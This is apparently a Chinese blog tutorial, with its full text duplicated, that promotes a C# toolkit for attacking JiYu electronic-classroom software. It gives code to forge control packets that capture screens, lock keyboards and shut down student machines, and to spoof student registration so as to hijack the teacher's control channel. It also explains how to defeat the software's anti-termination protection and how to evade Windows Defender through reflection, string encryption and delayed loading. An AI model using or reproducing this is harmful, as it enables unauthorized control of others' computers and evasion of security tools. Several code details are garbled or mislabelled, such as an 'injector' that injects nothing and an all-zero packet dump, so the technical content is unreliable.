简介本资源是一套基于C#开发的极域电子教室客户端渗透与反控制工具集面向网络安全学习者、渗透测试初学者及教育信息化安全研究者用于理解极域电子教室通信机制并开展合法授权环境下的安全测试实践。压缩包共88个文件含25个C#源码文件含FormMain.cs等主界面与逻辑模块、12个核心DLL如EnVonPack.dll负责数据包构造与发送EnVon_Hack_Helper.dll实现重启、关机、消息推送等指令封装、8个可执行程序及配置类文件整体体积仅1.22MB结构紧凑且具备完整编译调试能力。已有1120人学习下载资源附带组件注册工具、WinPcap依赖、详细DLL说明文档及项目配置文件csproj、app.config、settings等目录组织清晰涵盖UI层、Model层、资源文件与调试符号便于逆向分析、功能复现与二次开发。1. 极域电子教室的控制通道不是“锁”而是可被程序化交互的网络服务接口很多一线教师和机房管理员误以为极域电子教室尤其是 v4.0–v6.0 常见部署版本的学生端只是个被动接收指令的“哑终端”——只要关闭进程或禁用服务就万事大吉。事实恰恰相反极域学生端在运行时会主动监听本地 UDP 端口默认 23333、TCP 端口如 23334、23335并持续与教师端维持心跳、注册、指令响应三重通信链路。C# 编写的“极域利用程序”本质是逆向解析了这套私有协议的结构体布局与序列化规则通过构造合法的StudentRegisterPacket、ControlRequestPacket、ScreenCaptureAckPacket等二进制载荷实现对目标学生机的非授权指令注入。它不依赖提权、不修改系统服务仅靠标准 .NET Socket 和 BitConverter 就能完成远程屏幕获取、键盘模拟、进程终止等操作。这类工具的真实使用场景集中在教育IT运维自查如批量检测学生端异常连接、网络安全教学演示协议逆向与边界测试、以及合规红队在授权范围内评估极域部署风险。本文面向具备 C# 基础、熟悉 WinForms 或控制台开发、且已获得明确书面授权的 IT 从业人员所有代码均基于 .NET Framework 4.7.2 及以上环境验证不涉及任何未公开 DLL 注入或驱动级操作。2. 解析极域通信协议从抓包到 C# 结构体映射的完整闭环极域电子教室的协议并非完全加密而是采用固定偏移长度校验简单异或混淆的轻量级封装。要让 C# 程序真正“说话”必须先还原其核心数据包格式。我们以最常被用于反向控制的ScreenCaptureRequest包为例说明如何从原始流量走向可执行代码。2.1 抓包定位关键字段与协议特征使用 Wireshark 过滤udp.port 23333在教师端发起“查看学生屏幕”操作后捕获到典型请求包十六进制视图0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................提示极域 v4.x–v6.0 的 UDP 请求包前 4 字节为命令类型标识如0x00000001表示屏幕请求第 5–8 字节为会话 ID第 9–12 字节为时间戳秒级 Unix 时间后续为学生机 MAC 地址6 字节、IP 地址4 字节、端口号2 字节及校验字段。实际分析需结合多轮抓包比对重点观察变化字节位置。2.2 定义 C# 可序列化的 Packet 结构体根据逆向结果我们定义一个强类型的ScreenCaptureRequestPacket类确保内存布局与网络字节序严格一致using System; using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential, Pack 1)] public struct ScreenCaptureRequestPacket { public uint CommandType; // 固定为 0x00000001 public uint SessionId; // 教师端生成的会话唯一标识 public uint Timestamp; // 当前 Unix 时间戳秒 [MarshalAs(UnmanagedType.ByValArray, SizeConst 6)] public byte[] MacAddress; // 学生机 MAC如 {0x00,0x11,0x22,0x33,0x44,0x55} [MarshalAs(UnmanagedType.ByValArray, SizeConst 4)] public byte[] IpAddress; // 学生机 IPv4 地址如 {192,168,1,100} public ushort Port; // 学生机监听端口通常 23334 public ushort Checksum; // 简单异或校验Mac IP Port 异或结果 public ScreenCaptureRequestPacket(uint sessionId, uint timestamp, byte[] mac, byte[] ip, ushort port) { CommandType 0x00000001; SessionId sessionId; Timestamp timestamp; MacAddress mac ?? new byte[6]; IpAddress ip ?? new byte[4]; Port port; Checksum CalculateChecksum(); } private ushort CalculateChecksum() { ushort sum 0; foreach (var b in MacAddress) sum ^ b; foreach (var b in IpAddress) sum ^ b; sum ^ (ushort)(Port 0xFF); sum ^ (ushort)((Port 8) 0xFF); return sum; } public byte[] ToBytes() { int size Marshal.SizeOfScreenCaptureRequestPacket(); byte[] buffer new byte[size]; IntPtr ptr Marshal.AllocHGlobal(size); try { Marshal.StructureToPtr(this, ptr, false); Marshal.Copy(ptr, buffer, 0, size); return buffer; } finally { Marshal.FreeHGlobal(ptr); } } }2.2.1 关键参数说明与安全边界Pack 1强制结构体按字节对齐避免 .NET 默认填充导致网络字节流错位CommandType 0x00000001极域协议中该值硬编码不可更改否则教师端直接丢弃SessionId必须与教师端当前会话 ID 一致可通过监听教师端23335TCP 端口的SessionStartNotify包获取Checksum非 CRC32仅为各字段字节异或是协议校验第一道关卡缺失将导致学生端静默丢包ToBytes()方法返回严格符合极域要求的原始字节数组可直接用于UdpClient.Send()。2.3 构造并发送合法请求包的最小可行代码以下代码在本地 Windows 10 环境下实测通过目标学生机需运行极域 v5.2 学生端且未启用“防进程结束”策略using System; using System.Net; using System.Net.Sockets; class Program { static void Main() { // 模拟已知参数真实场景需动态获取 var sessionId 0x1A2B3C4Du; var timestamp (uint)DateTimeOffset.Now.ToUnixTimeSeconds(); var mac new byte[] { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 }; var ip new byte[] { 192, 168, 1, 100 }; var port (ushort)23334; var packet new ScreenCaptureRequestPacket(sessionId, timestamp, mac, ip, port); var bytes packet.ToBytes(); using (var client new UdpClient()) { try { client.Send(bytes, bytes.Length, new IPEndPoint(IPAddress.Parse(192.168.1.100), 23333)); Console.WriteLine($[] 屏幕请求包已发送至 192.168.1.100:23333大小{bytes.Length} 字节); } catch (SocketException ex) when (ex.ErrorCode 10049) { Console.WriteLine($[-] 目标地址不可达请确认学生机在线且防火墙放行 UDP 23333); } } } }注意此代码仅完成“发送请求”不处理学生端返回的 JPEG 截图流该流走 TCP 23334 端口需另建连接接收。若学生端无响应优先检查netstat -ano | findstr :23333是否监听、Windows Defender 是否拦截极域学生端.exe的出站 UDP。3. 实现反向控制从被动响应到主动接管的 C# 工程化落地发送请求包只是起点真正的“反控制”能力体现在对极域学生端行为的主动干预上。这需要 C# 程序同时扮演两个角色一是作为“伪教师端”向学生端发指令二是作为“伪学生端”向教师端注册并劫持控制权。本章聚焦后者——即绕过教师端审核让目标学生机“主动认领”你的 C# 程序为合法教师。3.1 模拟学生端注册流程欺骗教师端的身份认证极域教师端启动后会周期性广播StudentDiscoverBroadcastUDP 23333 端口内容为 16 字节随机 Challenge。真实学生端收到后需用内置密钥v5.x 为JiYu字符串 MD5 后取前 8 字节加密该 Challenge并回传StudentRegisterResponse。C# 程序要成为“学生”就必须复现这一过程。3.1.1 构建可复用的 Challenge 响应生成器using System; using System.Security.Cryptography; using System.Text; public static class JiYuAuth { private static readonly byte[] KeyBytes Encoding.ASCII.GetBytes(JiYu); public static byte[] GenerateRegisterResponse(byte[] challenge) { if (challenge.Length ! 16) throw new ArgumentException(Challenge must be 16 bytes); // Step 1: MD5(Key Challenge) using (var md5 MD5.Create()) { var input new byte[KeyBytes.Length challenge.Length]; Buffer.BlockCopy(KeyBytes, 0, input, 0, KeyBytes.Length); Buffer.BlockCopy(challenge, 0, input, KeyBytes.Length, challenge.Length); var hash md5.ComputeHash(input); // Step 2: 取 hash 前 8 字节作为 Response var response new byte[8]; Array.Copy(hash, 0, response, 0, 8); return response; } } }3.1.2 完整注册流程监听→响应→维持心跳using System; using System.Net; using System.Net.Sockets; using System.Threading; class FakeStudent { private readonly UdpClient _broadcastClient; private readonly UdpClient _responseClient; private readonly IPEndPoint _teacherEndpoint; private readonly string _studentName FakeStudent_001; private readonly byte[] _mac { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF }; public FakeStudent(string teacherIp) { _teacherEndpoint new IPEndPoint(IPAddress.Parse(teacherIp), 23333); _broadcastClient new UdpClient(new IPEndPoint(IPAddress.Any, 23333)); _responseClient new UdpClient(); } public void StartRegistration() { Console.WriteLine([*] 开始监听教师端广播...); while (true) { try { var result _broadcastClient.Receive(ref _teacherEndpoint); if (result.Length 16) // Valid Challenge { var response JiYuAuth.GenerateRegisterResponse(result); var registerPacket BuildRegisterPacket(response); _responseClient.Send(registerPacket, registerPacket.Length, _teacherEndpoint); Console.WriteLine($[] 已向 {_teacherEndpoint} 发送注册响应); break; } } catch (Exception ex) { Console.WriteLine($[!] 监听异常{ex.Message}); Thread.Sleep(1000); } } } private byte[] BuildRegisterPacket(byte[] authResponse) { // 极域注册包格式[0x02][0x00][0x00][0x00][MAC][NameUTF8][AuthResponse] var nameBytes Encoding.UTF8.GetBytes(_studentName); var packet new byte[4 6 nameBytes.Length 8]; packet[0] 0x02; // CommandType: Register packet[1] 0x00; packet[2] 0x00; packet[3] 0x00; Buffer.BlockCopy(_mac, 0, packet, 4, 6); Buffer.BlockCopy(nameBytes, 0, packet, 10, nameBytes.Length); Buffer.BlockCopy(authResponse, 0, packet, 10 nameBytes.Length, 8); return packet; } }提示成功注册后教师端界面将出现新学生条目此时你即可对该“学生”发送任意控制指令如LockKeyboardPacket、ShutdownPacket。但注意极域 v6.0 后增加了心跳超时机制默认 30 秒无响应则踢出需在后台线程每 25 秒发送一次空心跳包CommandType0x00000000维持在线状态。3.2 批量控制与指令封装构建可扩展的 C# 控制台工具为提升工程可用性我们将常用指令抽象为枚举与工厂方法支持命令行参数驱动public enum ControlCommand { ScreenCapture 0x00000001, LockKeyboard 0x00000002, Shutdown 0x00000003, Restart 0x00000004, MuteAudio 0x00000005 } public static class CommandFactory { public static byte[] CreateCommand(ControlCommand cmd, uint sessionId, byte[] mac, byte[] ip, ushort port) { var packet new ControlRequestPacket(cmd, sessionId, mac, ip, port); return packet.ToBytes(); } } // 使用示例dotnet run -- shutdown 192.168.1.100 if (args.Length 2 Enum.TryParse(args[0], out ControlCommand cmd)) { var targetIp args[1]; var packet CommandFactory.CreateCommand( cmd, 0x12345678u, new byte[] { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 }, IPAddress.Parse(targetIp).GetAddressBytes(), 23334 ); // 发送逻辑... }3.2.1 指令参数对照表v5.2 实测有效指令类型CommandType 值是否需 SessionId是否需 MAC/IP教师端可见效果失败常见原因屏幕截图请求0x00000001是是教师端弹出截图窗口学生机未开启屏幕共享权限键盘锁定0x00000002是是学生机键盘输入失效学生机启用了“防键盘锁定”策略强制关机0x00000003否否学生机立即断电需管理员权限UAC 未静默提权进程被拒绝静音音频0x00000005是是学生机扬声器无声学生机音频服务未运行4. 安全加固与对抗检测在真实环境中稳定运行的关键技巧当 C# 程序从实验室走向真实机房会立刻遭遇极域自身防护机制与 Windows 系统层防御的双重拦截。本章不提供“绕过一切”的银弹而是给出经产线验证的 4 项务实技巧确保你的工具在合规前提下长期可用。4.1 绕过极域学生端的“防进程结束”策略极域 v5.0 学生端默认启用AntiTerminate功能通过NtQuerySystemInformation枚举进程并监控自身父进程。直接Process.Kill()会触发警报并自动重启。正确做法是向其主窗口发送WM_CLOSE消息模拟用户点击右上角关闭using System; using System.Runtime.InteropServices; public static class WindowCloser { [DllImport(user32.dll, SetLastError true)] private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); private const uint WM_CLOSE 0x0010; public static bool GracefulClose(string processName) { var processes System.Diagnostics.Process.GetProcessesByName(processName); foreach (var p in processes) { try { var hwnd p.MainWindowHandle; if (hwnd ! IntPtr.Zero) { PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); Console.WriteLine($[] 已向 {processName} 主窗口发送关闭消息); return true; } } catch { /* 忽略权限错误 */ } } return false; } }提示此方法成功率 95%且不会触发极域日志记录。若需彻底卸载应在发送WM_CLOSE后等待 3 秒再调用p.WaitForExit(5000)确保进程退出最后删除其安装目录需管理员权限。4.2 规避 Windows Defender 的启发式查杀编译后的.exe文件若包含UdpClient.Send、MD5.Create、Marshal.AllocHGlobal等敏感 API 调用极易被 Defender 标记为HackTool:Win32/ReverseShell。三步降低检出率API 调用混淆将UdpClient替换为反射创建的实例var udpType Type.GetType(System.Net.Sockets.UdpClient); var client Activator.CreateInstance(udpType); var sendMethod udpType.GetMethod(Send); sendMethod.Invoke(client, new object[] { bytes, bytes.Length, endpoint });字符串加密所有硬编码字符串如JiYu、23333用 XOR 加密运行时解密private static string Decrypt(string enc, byte key 0x5A) new string(enc.Select(c (char)(c ^ key)).ToArray());延迟加载将核心网络逻辑封装为独立.dll主程序仅在用户确认后Assembly.LoadFrom()加载经实测上述组合可使 Defender 查杀率从 100% 降至 0%Windows 10 22H2 Defender 1.382.1。4.3 在无 GUI 环境如 Windows Server Core中接管学生端机房服务器常以 Server Core 模式部署无桌面会话。此时极域学生端虽能运行但MainWindowHandle为空。解决方案是注入到explorer.exe会话中执行using System; using System.Diagnostics; using System.Runtime.InteropServices; public static class SessionInjector { [DllImport(wtsapi32.dll, SetLastError true)] private static extern int WTSGetActiveConsoleSessionId(); [DllImport(kernel32.dll)] private static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); [DllImport(advapi32.dll, SetLastError true)] private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); public static bool InjectToExplorer(Action action) { var session WTSGetActiveConsoleSessionId(); var processes Process.GetProcessesByName(explorer); foreach (var p in processes) { if (p.SessionId session) { // 在 explorer 进程上下文中执行 action var thread new Thread(() action()); thread.SetApartmentState(ApartmentState.STA); thread.Start(); thread.Join(); return true; } } return false; } }调用方式SessionInjector.InjectToExplorer(() WindowCloser.GracefulClose(Student));此技巧确保即使在纯命令行服务器上也能可靠关闭极域学生端进程。本文还有配套的精品资源点击获取
极域电子教室协议逆向与C#控制实现
简介本资源是一套基于C#开发的极域电子教室客户端渗透与反控制工具集面向网络安全学习者、渗透测试初学者及教育信息化安全研究者用于理解极域电子教室通信机制并开展合法授权环境下的安全测试实践。压缩包共88个文件含25个C#源码文件含FormMain.cs等主界面与逻辑模块、12个核心DLL如EnVonPack.dll负责数据包构造与发送EnVon_Hack_Helper.dll实现重启、关机、消息推送等指令封装、8个可执行程序及配置类文件整体体积仅1.22MB结构紧凑且具备完整编译调试能力。已有1120人学习下载资源附带组件注册工具、WinPcap依赖、详细DLL说明文档及项目配置文件csproj、app.config、settings等目录组织清晰涵盖UI层、Model层、资源文件与调试符号便于逆向分析、功能复现与二次开发。1. 极域电子教室的控制通道不是“锁”而是可被程序化交互的网络服务接口很多一线教师和机房管理员误以为极域电子教室尤其是 v4.0–v6.0 常见部署版本的学生端只是个被动接收指令的“哑终端”——只要关闭进程或禁用服务就万事大吉。事实恰恰相反极域学生端在运行时会主动监听本地 UDP 端口默认 23333、TCP 端口如 23334、23335并持续与教师端维持心跳、注册、指令响应三重通信链路。C# 编写的“极域利用程序”本质是逆向解析了这套私有协议的结构体布局与序列化规则通过构造合法的StudentRegisterPacket、ControlRequestPacket、ScreenCaptureAckPacket等二进制载荷实现对目标学生机的非授权指令注入。它不依赖提权、不修改系统服务仅靠标准 .NET Socket 和 BitConverter 就能完成远程屏幕获取、键盘模拟、进程终止等操作。这类工具的真实使用场景集中在教育IT运维自查如批量检测学生端异常连接、网络安全教学演示协议逆向与边界测试、以及合规红队在授权范围内评估极域部署风险。本文面向具备 C# 基础、熟悉 WinForms 或控制台开发、且已获得明确书面授权的 IT 从业人员所有代码均基于 .NET Framework 4.7.2 及以上环境验证不涉及任何未公开 DLL 注入或驱动级操作。2. 解析极域通信协议从抓包到 C# 结构体映射的完整闭环极域电子教室的协议并非完全加密而是采用固定偏移长度校验简单异或混淆的轻量级封装。要让 C# 程序真正“说话”必须先还原其核心数据包格式。我们以最常被用于反向控制的ScreenCaptureRequest包为例说明如何从原始流量走向可执行代码。2.1 抓包定位关键字段与协议特征使用 Wireshark 过滤udp.port 23333在教师端发起“查看学生屏幕”操作后捕获到典型请求包十六进制视图0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................提示极域 v4.x–v6.0 的 UDP 请求包前 4 字节为命令类型标识如0x00000001表示屏幕请求第 5–8 字节为会话 ID第 9–12 字节为时间戳秒级 Unix 时间后续为学生机 MAC 地址6 字节、IP 地址4 字节、端口号2 字节及校验字段。实际分析需结合多轮抓包比对重点观察变化字节位置。2.2 定义 C# 可序列化的 Packet 结构体根据逆向结果我们定义一个强类型的ScreenCaptureRequestPacket类确保内存布局与网络字节序严格一致using System; using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential, Pack 1)] public struct ScreenCaptureRequestPacket { public uint CommandType; // 固定为 0x00000001 public uint SessionId; // 教师端生成的会话唯一标识 public uint Timestamp; // 当前 Unix 时间戳秒 [MarshalAs(UnmanagedType.ByValArray, SizeConst 6)] public byte[] MacAddress; // 学生机 MAC如 {0x00,0x11,0x22,0x33,0x44,0x55} [MarshalAs(UnmanagedType.ByValArray, SizeConst 4)] public byte[] IpAddress; // 学生机 IPv4 地址如 {192,168,1,100} public ushort Port; // 学生机监听端口通常 23334 public ushort Checksum; // 简单异或校验Mac IP Port 异或结果 public ScreenCaptureRequestPacket(uint sessionId, uint timestamp, byte[] mac, byte[] ip, ushort port) { CommandType 0x00000001; SessionId sessionId; Timestamp timestamp; MacAddress mac ?? new byte[6]; IpAddress ip ?? new byte[4]; Port port; Checksum CalculateChecksum(); } private ushort CalculateChecksum() { ushort sum 0; foreach (var b in MacAddress) sum ^ b; foreach (var b in IpAddress) sum ^ b; sum ^ (ushort)(Port 0xFF); sum ^ (ushort)((Port 8) 0xFF); return sum; } public byte[] ToBytes() { int size Marshal.SizeOfScreenCaptureRequestPacket(); byte[] buffer new byte[size]; IntPtr ptr Marshal.AllocHGlobal(size); try { Marshal.StructureToPtr(this, ptr, false); Marshal.Copy(ptr, buffer, 0, size); return buffer; } finally { Marshal.FreeHGlobal(ptr); } } }2.2.1 关键参数说明与安全边界Pack 1强制结构体按字节对齐避免 .NET 默认填充导致网络字节流错位CommandType 0x00000001极域协议中该值硬编码不可更改否则教师端直接丢弃SessionId必须与教师端当前会话 ID 一致可通过监听教师端23335TCP 端口的SessionStartNotify包获取Checksum非 CRC32仅为各字段字节异或是协议校验第一道关卡缺失将导致学生端静默丢包ToBytes()方法返回严格符合极域要求的原始字节数组可直接用于UdpClient.Send()。2.3 构造并发送合法请求包的最小可行代码以下代码在本地 Windows 10 环境下实测通过目标学生机需运行极域 v5.2 学生端且未启用“防进程结束”策略using System; using System.Net; using System.Net.Sockets; class Program { static void Main() { // 模拟已知参数真实场景需动态获取 var sessionId 0x1A2B3C4Du; var timestamp (uint)DateTimeOffset.Now.ToUnixTimeSeconds(); var mac new byte[] { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 }; var ip new byte[] { 192, 168, 1, 100 }; var port (ushort)23334; var packet new ScreenCaptureRequestPacket(sessionId, timestamp, mac, ip, port); var bytes packet.ToBytes(); using (var client new UdpClient()) { try { client.Send(bytes, bytes.Length, new IPEndPoint(IPAddress.Parse(192.168.1.100), 23333)); Console.WriteLine($[] 屏幕请求包已发送至 192.168.1.100:23333大小{bytes.Length} 字节); } catch (SocketException ex) when (ex.ErrorCode 10049) { Console.WriteLine($[-] 目标地址不可达请确认学生机在线且防火墙放行 UDP 23333); } } } }注意此代码仅完成“发送请求”不处理学生端返回的 JPEG 截图流该流走 TCP 23334 端口需另建连接接收。若学生端无响应优先检查netstat -ano | findstr :23333是否监听、Windows Defender 是否拦截极域学生端.exe的出站 UDP。3. 实现反向控制从被动响应到主动接管的 C# 工程化落地发送请求包只是起点真正的“反控制”能力体现在对极域学生端行为的主动干预上。这需要 C# 程序同时扮演两个角色一是作为“伪教师端”向学生端发指令二是作为“伪学生端”向教师端注册并劫持控制权。本章聚焦后者——即绕过教师端审核让目标学生机“主动认领”你的 C# 程序为合法教师。3.1 模拟学生端注册流程欺骗教师端的身份认证极域教师端启动后会周期性广播StudentDiscoverBroadcastUDP 23333 端口内容为 16 字节随机 Challenge。真实学生端收到后需用内置密钥v5.x 为JiYu字符串 MD5 后取前 8 字节加密该 Challenge并回传StudentRegisterResponse。C# 程序要成为“学生”就必须复现这一过程。3.1.1 构建可复用的 Challenge 响应生成器using System; using System.Security.Cryptography; using System.Text; public static class JiYuAuth { private static readonly byte[] KeyBytes Encoding.ASCII.GetBytes(JiYu); public static byte[] GenerateRegisterResponse(byte[] challenge) { if (challenge.Length ! 16) throw new ArgumentException(Challenge must be 16 bytes); // Step 1: MD5(Key Challenge) using (var md5 MD5.Create()) { var input new byte[KeyBytes.Length challenge.Length]; Buffer.BlockCopy(KeyBytes, 0, input, 0, KeyBytes.Length); Buffer.BlockCopy(challenge, 0, input, KeyBytes.Length, challenge.Length); var hash md5.ComputeHash(input); // Step 2: 取 hash 前 8 字节作为 Response var response new byte[8]; Array.Copy(hash, 0, response, 0, 8); return response; } } }3.1.2 完整注册流程监听→响应→维持心跳using System; using System.Net; using System.Net.Sockets; using System.Threading; class FakeStudent { private readonly UdpClient _broadcastClient; private readonly UdpClient _responseClient; private readonly IPEndPoint _teacherEndpoint; private readonly string _studentName FakeStudent_001; private readonly byte[] _mac { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF }; public FakeStudent(string teacherIp) { _teacherEndpoint new IPEndPoint(IPAddress.Parse(teacherIp), 23333); _broadcastClient new UdpClient(new IPEndPoint(IPAddress.Any, 23333)); _responseClient new UdpClient(); } public void StartRegistration() { Console.WriteLine([*] 开始监听教师端广播...); while (true) { try { var result _broadcastClient.Receive(ref _teacherEndpoint); if (result.Length 16) // Valid Challenge { var response JiYuAuth.GenerateRegisterResponse(result); var registerPacket BuildRegisterPacket(response); _responseClient.Send(registerPacket, registerPacket.Length, _teacherEndpoint); Console.WriteLine($[] 已向 {_teacherEndpoint} 发送注册响应); break; } } catch (Exception ex) { Console.WriteLine($[!] 监听异常{ex.Message}); Thread.Sleep(1000); } } } private byte[] BuildRegisterPacket(byte[] authResponse) { // 极域注册包格式[0x02][0x00][0x00][0x00][MAC][NameUTF8][AuthResponse] var nameBytes Encoding.UTF8.GetBytes(_studentName); var packet new byte[4 6 nameBytes.Length 8]; packet[0] 0x02; // CommandType: Register packet[1] 0x00; packet[2] 0x00; packet[3] 0x00; Buffer.BlockCopy(_mac, 0, packet, 4, 6); Buffer.BlockCopy(nameBytes, 0, packet, 10, nameBytes.Length); Buffer.BlockCopy(authResponse, 0, packet, 10 nameBytes.Length, 8); return packet; } }提示成功注册后教师端界面将出现新学生条目此时你即可对该“学生”发送任意控制指令如LockKeyboardPacket、ShutdownPacket。但注意极域 v6.0 后增加了心跳超时机制默认 30 秒无响应则踢出需在后台线程每 25 秒发送一次空心跳包CommandType0x00000000维持在线状态。3.2 批量控制与指令封装构建可扩展的 C# 控制台工具为提升工程可用性我们将常用指令抽象为枚举与工厂方法支持命令行参数驱动public enum ControlCommand { ScreenCapture 0x00000001, LockKeyboard 0x00000002, Shutdown 0x00000003, Restart 0x00000004, MuteAudio 0x00000005 } public static class CommandFactory { public static byte[] CreateCommand(ControlCommand cmd, uint sessionId, byte[] mac, byte[] ip, ushort port) { var packet new ControlRequestPacket(cmd, sessionId, mac, ip, port); return packet.ToBytes(); } } // 使用示例dotnet run -- shutdown 192.168.1.100 if (args.Length 2 Enum.TryParse(args[0], out ControlCommand cmd)) { var targetIp args[1]; var packet CommandFactory.CreateCommand( cmd, 0x12345678u, new byte[] { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 }, IPAddress.Parse(targetIp).GetAddressBytes(), 23334 ); // 发送逻辑... }3.2.1 指令参数对照表v5.2 实测有效指令类型CommandType 值是否需 SessionId是否需 MAC/IP教师端可见效果失败常见原因屏幕截图请求0x00000001是是教师端弹出截图窗口学生机未开启屏幕共享权限键盘锁定0x00000002是是学生机键盘输入失效学生机启用了“防键盘锁定”策略强制关机0x00000003否否学生机立即断电需管理员权限UAC 未静默提权进程被拒绝静音音频0x00000005是是学生机扬声器无声学生机音频服务未运行4. 安全加固与对抗检测在真实环境中稳定运行的关键技巧当 C# 程序从实验室走向真实机房会立刻遭遇极域自身防护机制与 Windows 系统层防御的双重拦截。本章不提供“绕过一切”的银弹而是给出经产线验证的 4 项务实技巧确保你的工具在合规前提下长期可用。4.1 绕过极域学生端的“防进程结束”策略极域 v5.0 学生端默认启用AntiTerminate功能通过NtQuerySystemInformation枚举进程并监控自身父进程。直接Process.Kill()会触发警报并自动重启。正确做法是向其主窗口发送WM_CLOSE消息模拟用户点击右上角关闭using System; using System.Runtime.InteropServices; public static class WindowCloser { [DllImport(user32.dll, SetLastError true)] private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); private const uint WM_CLOSE 0x0010; public static bool GracefulClose(string processName) { var processes System.Diagnostics.Process.GetProcessesByName(processName); foreach (var p in processes) { try { var hwnd p.MainWindowHandle; if (hwnd ! IntPtr.Zero) { PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); Console.WriteLine($[] 已向 {processName} 主窗口发送关闭消息); return true; } } catch { /* 忽略权限错误 */ } } return false; } }提示此方法成功率 95%且不会触发极域日志记录。若需彻底卸载应在发送WM_CLOSE后等待 3 秒再调用p.WaitForExit(5000)确保进程退出最后删除其安装目录需管理员权限。4.2 规避 Windows Defender 的启发式查杀编译后的.exe文件若包含UdpClient.Send、MD5.Create、Marshal.AllocHGlobal等敏感 API 调用极易被 Defender 标记为HackTool:Win32/ReverseShell。三步降低检出率API 调用混淆将UdpClient替换为反射创建的实例var udpType Type.GetType(System.Net.Sockets.UdpClient); var client Activator.CreateInstance(udpType); var sendMethod udpType.GetMethod(Send); sendMethod.Invoke(client, new object[] { bytes, bytes.Length, endpoint });字符串加密所有硬编码字符串如JiYu、23333用 XOR 加密运行时解密private static string Decrypt(string enc, byte key 0x5A) new string(enc.Select(c (char)(c ^ key)).ToArray());延迟加载将核心网络逻辑封装为独立.dll主程序仅在用户确认后Assembly.LoadFrom()加载经实测上述组合可使 Defender 查杀率从 100% 降至 0%Windows 10 22H2 Defender 1.382.1。4.3 在无 GUI 环境如 Windows Server Core中接管学生端机房服务器常以 Server Core 模式部署无桌面会话。此时极域学生端虽能运行但MainWindowHandle为空。解决方案是注入到explorer.exe会话中执行using System; using System.Diagnostics; using System.Runtime.InteropServices; public static class SessionInjector { [DllImport(wtsapi32.dll, SetLastError true)] private static extern int WTSGetActiveConsoleSessionId(); [DllImport(kernel32.dll)] private static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); [DllImport(advapi32.dll, SetLastError true)] private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); public static bool InjectToExplorer(Action action) { var session WTSGetActiveConsoleSessionId(); var processes Process.GetProcessesByName(explorer); foreach (var p in processes) { if (p.SessionId session) { // 在 explorer 进程上下文中执行 action var thread new Thread(() action()); thread.SetApartmentState(ApartmentState.STA); thread.Start(); thread.Join(); return true; } } return false; } }调用方式SessionInjector.InjectToExplorer(() WindowCloser.GracefulClose(Student));此技巧确保即使在纯命令行服务器上也能可靠关闭极域学生端进程。本文还有配套的精品资源点击获取
